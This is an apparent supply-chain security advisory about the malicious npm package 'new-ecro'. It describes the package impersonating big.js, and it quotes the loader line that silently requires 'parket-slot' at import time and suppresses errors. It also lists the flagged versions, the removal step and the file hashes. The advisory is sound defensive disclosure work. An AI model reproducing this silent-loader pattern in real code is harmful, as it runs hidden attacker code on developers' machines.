Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

new-ecronpm

Malicious code in new-ecro (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6197
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall new-ecro

What this malware does

Package 'new-ecro' impersonates the legitimate 'big.js' library: it copies big.js's README, source, version banner ('big.js v7.0.1'), author email, and repository URL while being published under an unrelated name. On require()/import of the main entry, big.js:606-609 (and the same lines in big.mjs) execute try { const doc = require("parket-slot"); doc.from_str().then(e=>{}).catch(e=>{}) } catch (error) {} — a silent loader-and-invoker wrapped in an error-swallowing try/catch so failures are invisible to the caller. The package's declared dependency in package.json is [email protected], while the code requires parket-slot — a name mismatch that hides the actual executing module from casual inspection of new-ecro's manifest; new-solt transitively delivers parket-slot. A developer who installs new-ecro believing it is big.js, or whose dependency tree pulls it in, executes attacker-controlled third-party code at import time. The combination of metadata spoofing of a popular library, a silent runtime require of a different-named module than declared, and unconditional error suppression is a canonical malicious-typosquat dropper pattern.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

3 flagged
0.0.60.0.70.0.9

Indicators of compromise (SHA-256)

7492a140547cea0957bc705d365e19806091462a249c3d5c90b6bfe91e8431c7
7ddd41ed9696514bca555c580f60f96b630722f0828ee9cfb0ea01d6775ebc6e
c1e648000015ecb021ad4e52b2ed73ca3be2d782251584629595a7bbbbb3d4ac
aca5243723c51f55d306bc6f0dec39cbab6a33cc6983e34c226eef75e274aee7

Frequently asked questions

No. new-ecro on npm has been identified as a malicious package (versions 0.0.6, 0.0.7, 0.0.9 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007059IN-MAL-2026-007057IN-MAL-2026-007058GHSA-chhh-8532-pg35

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
new-ecro (npm) malicious package — MAL-2026-6197 | O3 Security